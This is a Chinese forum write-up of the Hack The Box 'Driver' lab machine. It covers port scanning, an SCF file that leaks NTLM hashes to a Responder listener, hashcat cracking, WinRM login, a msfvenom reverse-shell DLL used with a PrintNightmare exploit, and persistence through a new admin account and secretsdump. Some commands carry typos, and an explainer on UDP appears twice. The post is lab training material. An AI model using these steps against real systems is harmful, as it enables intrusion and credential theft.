HTB Driver靶机

守听  金牌会员 | 2024-7-30 12:42:49 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 876|帖子 876|积分 2628

毗连靶机openvpn
openvpn htb-sg-tcp.ovpn
nmap信息收集

tcp端口扫描
  1. nmap -sT  --min-rate 10000 -p- ip -oA nmapscan/ports
复制代码
参数说明:
-sT 指定tcp端口
--min-rate 10000 指定最低10000的 速率扫描全部端口
-p- 指定ip地址
-oA nmapscan/ports 以全格式输出到nmapscan目录 下的ports文件中
为了避免偏差和遗漏
进行多次端口扫描,对比结果
同时进行udp端口扫描:
  1. nmap -sU --top-ports 20 ip -oA nmapscan/udp
复制代码
参数说明:
-sU 指定扫描udp端口
--top-ports 20 扫描常用20个端口
-oA nmapscan/udp 以全格式输出到nmapscan目录下的udp文件中
扫描结果:所有端口都是open(打开)或者filtered(被过滤)的状态,应该是都没有开放,结果已经保存,暂时先用不到

对扫描到的tcp端口进行具体的信息收集
  1. nmap -sT -sV -sC -O -p80,135,445,5985 -oA nmapscan/detail
复制代码
  1. nmap --script=http-brute -p80 ip
复制代码


135端口:RPC
445端口:SMB共享
SMB/CIFS允许用户在网络中的不同计算机间共享文件、打印机以及其他资源,由于SMB协议的安全性问题,445端口也被认为是一个“高危”端口,因为它曾多次成为网络攻击的目标。例如,臭名昭著的WannaCry勒索软件就利用了SMB的一个未修补的漏洞来传播。因此,很多构造会关闭或严格控制对外的445端口访问,以低落安全风险。
5985端口:winRM(Windows Remote Management网络远程管理)常用端口,只有有凭据才可以进行交互
nmap漏洞脚本扫描
  1. nmap --sctipt=vuln -p80,135,455,5985 ip -oA nmapscan/vuln
复制代码
参数说明:
-sV : 探测各个服务的版本
-sC : 默认脚本扫描
-O : 探测操纵系统版本
-p80,135,445,5985 : 指定几个端口
攻击面分析

在上面弱密码进入的页面中发现暴露了域信息

如果ip和域名指向的是一个内容,那么是否做host剖析作用不大,如果有主机头做了不同的站点路由,那么剖析域名你才能访问到不同的站点
这时我们需要剖析host词driver.htb
  1. bash -c 'echo"ip dirver.htb" >> /etc/hosts'
复制代码
参数说明:
因为追加重定向不能把权限延伸过去,所以用-c整个作为一个命令来实行
再看一下是否追加好了
  1. tail -n 1 /etc/hosts
复制代码
结果: ip driver.htb
SMB协议探求突破点

搜索nxc github,在github上下载并直接移动到/usr/bin/目录下(为了方便)
  1. mv  /home/kali/Downloads/nxc /usr/bin
复制代码
nxc需要给权限
  1. chmod +x /usr/bin/nxc
复制代码
参数说明:
chmod +x :添加实行execute 权限
实行命令
  1. nxc smb driver.htb --shares -u RedteamNotes -p ''
复制代码
参数说明:
--shares : 列出共享
-u : 用户名 随便设置一个
-p : 密码 这里设置为空

结果:空密码匿名不允许访问
  1. cmbclient -L driver.htb -N
复制代码

无法访问
实验134端口的RPC

  1. cpcclient -U "" -N driver.htb
复制代码
无法毗连
enum4linux-ng (主要是smb的枚举的一个工具)

安装
  1. apt install enum4linux-ng
复制代码
实行命令
  1. enum4linux-ng driver.htb
复制代码
文件上传

我们需要清楚要做的两件事:

  • 找到文件上传的目录
  • 实行我们上传的木马
SMB协议共享SMF文件攻击

内网认证机制

非域环境下,一般是NTLM加密,利用简单的哈希且不含盐,当前NTLMV2利用较多,引入了客户端和服务器的挑战响应,且利用了MD5
内网协议

内网中可以剖析域名到ip,但不一定一直有DNS,如果没有DNS的时候,剖析就会降级为net b或者LLMN2本地链路多播协议,这两种都是广播协议,而广播就会涉及到一个很紧张的攻击方式--嗅探
SMB内网认证机制

responder嗅探

攻击环境为windows时,用Inveigh
通过向请求者发送伪造的NTLM,来获得NTLM响应,这个响应就包含了加密的用户凭据的散列值,然后用responder采集这些数据并离线破解
上传scf文件,这是一种可实行文件,用于协助windows资源管理器实行系统命令。让scf文件构造一个DNS如许的低级协议,让他访问kali的ip\redteamnotes如许一个不存在的主机,就会发生降级,产生广播
SCF 文件是 "Windows 资源管理器命令"文件,它也是一种可实行文件,该类型文件由WindowsExplorer Command 解释。
当一个文件加中含有scf后缀的文件时,由于scf文件包含了 IconFile 属性,所以Explore.exe 会实验获取文件的图标。而 IconFile 属性是支持 UNC路径的,所以我们也可以通过这里的 IconFile 属性截获受害者的 Net-NTLM Hash
在某一文件夹下写入scf文件,内容如下
[Shell]
Command=2 IconFile=\主机ip\scf\test.ico
[Taskbar]
Command=ToggleDesktop
然后用户访问此文件夹,就可以通过Responder获取Hash
触发产生认证响应的手段:
  1. responder -I tun0 -v    //开启监听
复制代码
上传scf文件

保存,提取信息
  1. tail digest
  2. grep -o 'tony::.*' digest | tee digeest-only
复制代码
  1. nth --file digest-only
复制代码
识别结果

找到加密模块

破解
  1. hashcat -m 5600 digest digest-only /usr/share/wordlists/rockyou.txt --potfile-disable
复制代码
加一个--potfile-disable,如果进行过相同的破解方式,避免回复同样的结果

也可以用john进行hash破解

我们嗅探时,也可以用impacket实现
  1. impacket -smbserver RedteamNotes . smb2support
复制代码
参数说明
-smbserver RedteamNotes . : 创立一个smb共享,指定RedteamNotes当前目录
smb2support : 指定2以上smb版本都匹配

同样也是可以用hashcat解密出来的

getshell
  1. nxc  winrm driver.htb -u tony -p liltony
复制代码
  1. evil-winrm -i driver.htb -u -p liltony
复制代码
拿到了系统的最高pwn,但不是最高权限

看web文件有没有敏感信息,先定位到目录,利用网页中图片来进行定位

利用winPEAS查看系统的基本信息(github下载)
利用printnightmare漏洞进行提权

用nxc 扫描是否有printnightmare漏洞
看一下有哪些模块可以检测
  1. nxc smb -L  
复制代码
  1. nxc smb driver.htb -u tony -p liltony -M spooler
复制代码

-M spooler 指定spooler模块 spooler就是一个处理打印工作的服务
可以去了解一下相关于spooler服务的漏洞
Windows Print Spooler服务最新漏洞CVE-2021-34527具体分析 - FreeBuf网络安全行业门户

检测是否能利用printnightmare
  1. nxc smb driver.htb -u tony -p liltony -M spooler -M printnightmare
复制代码
可以利用,这里还给出了利用脚本https://github.com/ly4k/PrintNightmare

直接下载下来
  1. wget https://raw.githubsercontent.com/ly4k/PrintNightmare/main/printnightmare.py
复制代码
看一下文件,给权限
  1. file printnightmare.py
  2. head printnightmare.py
  3. chmod +x printnightmare.py
复制代码

因为文件头已经有解释器了(python3)所以直接实行文件
  1. ./printnightmare.py
复制代码

check一下是否可以利用
  1. ./printnightmare.py -check 'tony:liltony@driver.htb'
复制代码

因为驱动是通过动态链接库来实现利用的,所以我们要先准备payload,就是用于反弹shell的动态链接库
  1. msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=ip LPORT=9595 -f dll -o RedteamNotes.dll
复制代码
-f dll : 指定文件类型:动态链接库
上传文件,直接上传或者按tab补全,一样的
  1. upload RedteamNotes.dll
复制代码

现在kali上上一个nc监听
  1. sudo rlwrap nc -lvnp 9595
复制代码
参数说明
rlwrap : 提高交互性
-lvnp : 指定端口9595,之前我们就是指定的9595
提权成功
  1. ./printnightmare.py -dll 'c:\programdata\apps\ReadteamNotes.dll 'tony:liltony@driver.htb'
复制代码
参数说明
-dll 'c:\xxx\xxx' 用在指定路径下的动态链接库

长期化

还可以加个后门,添加一个管理员用户
  1. net user 用户名 密码 /add
  2. net localgroup administrators 用户名 /add
  3. sudo impacket -secretsdump '密码'@driver.htb   
  4. //转储登陆时各种哈希值
复制代码
  1. nxc winrm driver.htb -u administrator -H 哈希凭据
复制代码


遇到的问题

什么是UDP协议

UDP(User Datagram Protocol)协议因其特性,在很多实际应用场景中得到了广泛的利用。以下是UDP协议在不同领域的具体应用:

  • 实时音频和视频传输

    • 在线游戏、实时视频集会、直播、VoIP(Voice over IP)等应用中,为了淘汰延迟,通常会选择UDP而不是TCP,因为TCP的重传机制大概会引入额外的延迟。

  • 域名系统(DNS)

    • DNS查询通常利用UDP,因为DNS请求和响应都是小数据包,且通常只需要一次往返就能完成查询。

  • 简单文件传输协议(TFTP)

    • TFTP利用UDP来进行文件传输,特别适用于小型系统或嵌入式装备,因为它比FTP更简单、开销更小。

  • 网络管理系统(SNMP)

    • SNMP(Simple Network Management Protocol)利用UDP端口161和162来监控网络装备的状态,如路由器、交换机和服务器。

  • 多播和广播通信

    • UDP支持多播和广播,这使得它非常得当用于局域网内的服务发现、组播视频传播输等。

  • 动态主机配置协议(DHCP)

    • DHCP利用UDP来分配IP地址和其他网络参数给客户端。

  • 实时传感器数据传输

    • 物联网(IoT)装备和工业自动化系统经常利用UDP来传输实时数据,因为UDP的低延迟特性得当此类应用。

  • NetBIOS相关服务

    • NetBIOS(Network Basic Input/Output System)相关的服务,如名称剖析和网络欣赏,利用UDP端口137和138。

  • BootP和DHCP

    • BootP(Bootstrap Protocol)和DHCP利用UDP端口67/68进行网络装备的初始化和配置。

  • 其他应用

    • 很多其他网络应用和服务,如NTP(Network Time Protocol)用于时间同步,也利用UDP。

UDP的无毗连性和非可靠性特性,使其非常得当那些数据包丢失可以容忍、而延迟和带宽效率至关紧张的场景。然而,对于需要数据完整性和顺序的应用,如文件下载和网页传输,TCP通常更为适用。
什么是中间人攻击MITM?

通过向请求者发送伪造的NTLM挑战,来获得NTLM响应,这个响应就包含了加密的用户凭据的散列值,然后用responder采集这些数据并离线破解
遇到的问题

什么是UDP协议

UDP(User Datagram Protocol)协议因其特性,在很多实际应用场景中得到了广泛的利用。以下是UDP协议在不同领域的具体应用:

  • 实时音频和视频传输

    • 在线游戏、实时视频集会、直播、VoIP(Voice over IP)等应用中,为了淘汰延迟,通常会选择UDP而不是TCP,因为TCP的重传机制大概会引入额外的延迟。

  • 域名系统(DNS)

    • DNS查询通常利用UDP,因为DNS请求和响应都是小数据包,且通常只需要一次往返就能完成查询。

  • 简单文件传输协议(TFTP)

    • TFTP利用UDP来进行文件传输,特别适用于小型系统或嵌入式装备,因为它比FTP更简单、开销更小。

  • 网络管理系统(SNMP)

    • SNMP(Simple Network Management Protocol)利用UDP端口161和162来监控网络装备的状态,如路由器、交换机和服务器。

  • 多播和广播通信

    • UDP支持多播和广播,这使得它非常得当用于局域网内的服务发现、组播视频传播输等。

  • 动态主机配置协议(DHCP)

    • DHCP利用UDP来分配IP地址和其他网络参数给客户端。

  • 实时传感器数据传输

    • 物联网(IoT)装备和工业自动化系统经常利用UDP来传输实时数据,因为UDP的低延迟特性得当此类应用。

  • NetBIOS相关服务

    • NetBIOS(Network Basic Input/Output System)相关的服务,如名称剖析和网络欣赏,利用UDP端口137和138。

  • BootP和DHCP

    • BootP(Bootstrap Protocol)和DHCP利用UDP端口67/68进行网络装备的初始化和配置。

  • 其他应用
  1. 1.  许多其他网络应用和服务,如NTP(Network Time Protocol)用于时间同步,也使用UDP。
复制代码
UDP的无毗连性和非可靠性特性,使其非常得当那些数据包丢失可以容忍、而延迟和带宽效率至关紧张的场景。然而,对于需要数据完整性和顺序的应用,如文件下载和网页传输,TCP通常更为适用。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

守听

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表